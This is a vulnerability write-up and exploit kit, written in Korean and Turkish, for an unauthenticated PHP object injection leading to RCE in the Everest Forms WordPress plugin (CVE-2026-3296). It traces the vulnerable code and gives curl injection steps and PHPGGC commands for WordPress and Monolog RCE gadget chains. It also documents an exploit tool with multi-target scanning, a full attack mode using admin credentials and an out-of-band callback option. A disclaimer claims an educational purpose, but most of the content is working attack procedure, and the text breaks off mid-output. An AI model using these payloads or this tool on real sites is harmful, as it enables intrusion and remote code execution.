
CVE-2026-3296은 Everest Forms WordPress 플러그인의 CVSS 9.8 Critical 등급, 인증되지 않은 PHP Object Injection 취약점입니다.
CVE-2026-3296은 Everest Forms WordPress 플러그인에서 발생하는 CVSS 9.8 Critical 등급의 인증되지 않은 PHP 객체 주입(PHP Object Injection) 취약점입니다.
플러그인: Everest Forms – Contact Form, Payment Form, Quiz, Survey & Custom Form Builder 플러그인 슬러그:
everest-formsCVE ID: CVE-2026-3296 CVSS 점수: 9.8 (Critical) CVSS 벡터:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H취약점 유형: 인증되지 않은 PHP 객체 주입 → RCE 영향을 받는 버전: <= 3.4.3 패치된 버전: 3.4.4 공개 날짜: 2026년 4월 7일 연구자: 0xsabre — Mobikwik / Wordfence
Everest Forms 플러그인은 관리자 패널에서 양식 입력 메타데이터를 표시할 때 PHP의 네이티브 unserialize() 함수를 allowed_classes 매개변수 없이 호출합니다.
인증되지 않은 공격자는 공개 양식 필드에 직렬화된 PHP 객체 페이로드를 삽입하여 이를 데이터베이스에 저장할 수 있습니다. 관리자 패널에서 항목이 조회되면 unserialize()가 트리거되고 환경에 존재하는 모든 이 실행됩니다.
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2026-3296 |
| CVSS | 9.8 Critical |
| 유형 | PHP Object Injection (Deserialization of Untrusted Data) |
| 영향을 받는 버전 | <= 3.4.3 |
| 패치된 버전 | 3.4.4 |
| 인증 | 불필요 (주입), 관리자 (트리거) |
| CWE | CWE-502: Deserialization of Untrusted Data |
FAZ 1 — ENJEKSIYON (Kimlik doğrulama gerekmez)
FAZ 2 — TETİKLEME (Admin panel görüntülemesi)
// Her front-end sayfa yüklemesinde tetiklenir
add_action( 'wp', array( $this, 'listen_task' ) );
// line 109 — kullanıcı verisi sanitize edilerek işlenir
$this->do_task( evf_sanitize_entry( wp_unslash( $_POST['everest_forms'] ) ) );
// sanitize_text_field() HTML tag, null byte siler
// PHP serialization karakterlerini (O:, s:, {, }, ;) SİLMEZ
default:
$entry['form_fields'][$key] = sanitize_text_field(
$entry['form_fields'][$key]
);
이 페이로드는 sanitize_text_field() 이후에도 완전히 보존됩니다:
O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}
// return $entry; ifadesi foreach döngüsü İÇİNDE
// → Yalnızca ilk alan sanitize edilir, geri kalan alanlar ham kalır
foreach ($entry['form_fields'] as $key => $value) {
...
return $entry; // ← BUG: döngü ilk iterasyonda çıkar
}
$entry_metadata = array(
'entry_id' => $entry_id,
'meta_key' => sanitize_key( $field['meta_key'] ),
'meta_value' => maybe_serialize( $field['value'] ),
// maybe_serialize() düz string'i değiştirmez
// → Serialized object string verbatim yazılır
);
$wpdb->insert( $wpdb->prefix . 'evf_entrymeta', $entry_metadata );
$meta_value = is_serialized( $meta_value )
? $meta_value
: wp_strip_all_tags( $meta_value );
if ( is_serialized( $meta_value ) ) {
$raw_meta_val = unserialize( $meta_value );
// ↑ allowed_classes parametresi YOK
// PHP varsayılanı: TÜM sınıflar instantiate edilebilir
// → POP gadget chain tetiklenir
}
// Bu fonksiyon zaten mevcuttu — sadece çağrılmadı
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options); // Güvenli
}
return null;
}
return $data;
}
<!-- Public form HTML'inde gömülü — herkes okuyabilir -->
<input type="hidden" name="_wpnonce123" value="abc123def456">
Nonce는 CSRF 보호를 제공할 뿐, 인증은 아닙니다. 공격자는 GET으로 양식 페이지를 열어 nonce를 읽은 다음 POST로 페이로드를 전송합니다.
┌──────────────────────────────────────────────────────────────┐
│ FAZ 1 — ENJEKSIYON (Unauthenticated) │
│ │
│ GET /contact/ │
│ → form_id=123, nonce=abc123, field=text_xyz │
│ │
│ POST /contact/ │
│ everest_forms[id]=123 │
│ everest_forms[form_fields][text_xyz]=O:8:"Evil":1:{...} │
│ _wpnonce123=abc123 │
│ │ │
│ ├── sanitize_text_field() → serialization korunur │
│ ├── maybe_serialize() → string değişmez │
│ └── wp_evf_entrymeta.meta_value = "O:8:\"Evil\"..." │
└──────────────────────────┬───────────────────────────────────┘
│ (Admin rutin kontrol yapar)
┌──────────────────────────▼───────────────────────────────────┐
│ FAZ 2 — TETİKLEME (Admin Panel) │
│ │
│ GET /wp-admin/admin.php │
│ ?page=evf-entries&form_id=123&view-entry=456 │
│ │ │
│ ├── is_serialized($meta_value) = true │
│ ├── unserialize($meta_value) ← ZAFIYET │
│ │ allowed_classes = (yok) → tüm sınıflar │
│ └── POP gadget chain → __wakeup() / __destruct() │
│ → RCE / File Write / Data Exfil │
└──────────────────────────────────────────────────────────────┘
⚠️ 면책 고지: 이 PoC는 교육 및 방어적 보안 연구 목적으로만 제공됩니다.
사전 요구 조건:
TARGET="https://target-site.example.com/contact/"
# Form ID çıkar
curl -s "$TARGET" | grep -oP 'name="everest_forms\[id\]" value="\K[0-9]+'
# Nonce çıkar
curl -s "$TARGET" | grep -oP '(?<=name="_wpnonce)[0-9]+" value="\K[^"]+'
# Güvenli test — stdClass, magic method yok
PAYLOAD='O:8:"stdClass":2:{s:6:"source";s:14:"CVE-2026-3296";s:6:"pwned";s:3:"yes";}'
실제 환경에서는 PHPGGC로 POP chain을 생성하십시오:
# WordPress/RCE1 chain
phpggc WordPress/RCE1 system "id" -s
# Monolog chain
phpggc Monolog/RCE1 system "id" -s
FORM_ID="123"
NONCE="abcdef1234"
FIELD="text_abc123"
curl -s -X POST "$TARGET" \
-d "everest_forms[id]=${FORM_ID}" \
-d "everest_forms[form_fields][${FIELD}]=${PAYLOAD}" \
-d "_wpnonce${FORM_ID}=${NONCE}" \
-d "everest_forms[hp][abc]="
예상 결과: 양식 성공 메시지 또는 리디렉션.
wp db query \
"SELECT meta_value FROM wp_evf_entrymeta ORDER BY meta_id DESC LIMIT 3;" \
--allow-root
# O:8:"stdClass":2:{...} satırı görünmeli
https://target-site.example.com/wp-admin/admin.php
?page=evf-entries
&form_id=123
&view-entry=<ENTRY_ID>
페이지가 로드되면 unserialize()가 실행됩니다.
// test-gadget.php — SADECE TEST ORTAMINDA KULLAN
class TestGadget {
public function __wakeup() {
file_put_contents(
'/tmp/pwned.txt',
'PHP Object Injection confirmed at ' . date('c')
);
}
}
cat /tmp/pwned.txt
# PHP Object Injection confirmed at 2026-04-08T...
git clone https://github.com/kullanici/cve-2026-3296-scanner
cd cve-2026-3296-scanner
pip install -r requirements.txt
requirements.txt
requests
python everest_forms_poi.py -u http://hedef.com --mode scan
python everest_forms_poi.py -u http://hedef.com --mode inject \
--payload-type probe
python everest_forms_poi.py -u http://hedef.com --mode full \
--admin-user admin --admin-pass Pass123!
python everest_forms_poi.py -u http://hedef.com --mode inject \
--form-id 5 --field-name text_abc123 \
--custom-payload 'O:8:"stdClass":1:{s:4:"test";s:2:"ok";}'
python everest_forms_poi.py -u http://hedef.com --mode scan \
--payload-type ssrf \
--callback-url http://your.burp.collaborator.net
python everest_forms_poi.py -l targets.txt -t 10 \
--mode scan -o sonuclar.txt
python everest_forms_poi.py -u http://hedef.com --mode full \
--admin-user admin --admin-pass Pass123! \
--proxy http://127.0.0.1:8080
| 모드 | 설명 |
|---|---|
scan | 무해한 페이로드 주입 — 취약점 탐지 |
inject | 1단계만 수행 — 페이로드 저장 |
trigger | 2단계만 수행 — 관리자 로그인으로 트리거 |
full | 1단계 + 2단계 — 전체 공격 |
| 매개변수 | 약어 | 설명 | 기본값 |
|---|---|---|---|
--url | -u | 단일 대상 URL | — |
--list | -l | 대상 목록 파일 | — |
--threads | -t | 스레드 수 | 5 |
--output | -o | 출력 파일 | poi_results.txt |
--proxy | — | 프록시 URL | — |
--force | — | 플러그인 감지 실패 시에도 계속 진행 | False |
| 매개변수 | 설명 | 기본값 |
|---|---|---|
--form-id | CF7 양식 ID | 자동 감지 |
--form-url | 양식 페이지 URL | 자동 감지 |
--field-name | 대상 필드 이름 | 자동 감지 |
--nonce | 양식 nonce 값 | 자동 추출 |
--entry-id | 항목 ID (트리거 모드) | 자동 감지 |
| 매개변수 | 설명 | 기본값 |
|---|---|---|
--payload-type | 페이로드 유형 | probe |
--custom-payload | 사용자 정의 직렬화 문자열 | — |
--cmd | RCE 명령 | id |
--callback-url | OOB 콜백 URL | — |
| 매개변수 | 설명 |
|---|---|
--admin-user | 관리자 사용자 이름 |
--admin-pass | 관리자 비밀번호 |
| 유형 | 설명 | 용도 |
|---|---|---|
probe | 무해한 stdClass — 부작용 없음 | 취약점 탐지 |
file_write | 파일 쓰기 (TestGadget) | 테스트 환경 검증 |
ssrf | HTTP 콜백 — OOB 탐지 | Burp Collaborator |
wp_rce | WordPress POP chain 플레이스홀더 | PHPGGC로 생성 |
yoast_rce | Yoast SEO POP chain 플레이스홀더 | PHPGGC로 생성 |
monolog_rce | Monolog POP chain 플레이스홀더 | PHPGGC로 생성 |
💡 PHPGGC로 실제 Chain 생성:
# WordPress/RCE1 phpggc WordPress/RCE1 system "id" -s # Monolog/RCE1 phpggc Monolog/RCE1 system "id" -s # Tüm mevcut chain'leri listele phpggc -l
| 상태 | 설명 |
|---|---|
★ PWNED | 역직렬화 트리거됨 + 페이로드 실행됨 |
★ VULN | 페이로드 주입됨 — 취약점 확인됨 |
~ TRIGGERED | 항목이 조회됨 — gadget chain 수동 확인 |
- INJ_FAIL | 주입 실패 (패치됨 / 양식 없음) |
~ NO_FORM | Everest Forms 양식을 찾을 수 없음 |
- NO_PLUGIN | 플러그인이 설치되지 않음 |
~ NO_CREDS | 관리자 자격 증명 누락 |
- ADM_FAIL | 관리자 로그인 실패 |
~ UNREACH | 대상에 연결할 수 없음 |
[*] Hedef : http://hedef.com
[*] Mod : full
[*] Payload Tipi : probe
[*] Komut : id
[*] Admin User : admin
[→] http://hedef.com Adım 1: Everest Forms formu aranıyor...
[→] http://hedef.com Adım 2: Payload enjekte ediliyor...
[→] http://hedef.com Adım 3: Admin girişi yapılıyor...
[→] http://hedef.com Adım 4: Entry ID aranıyor...
[→] http://hedef.com Adım 5: unser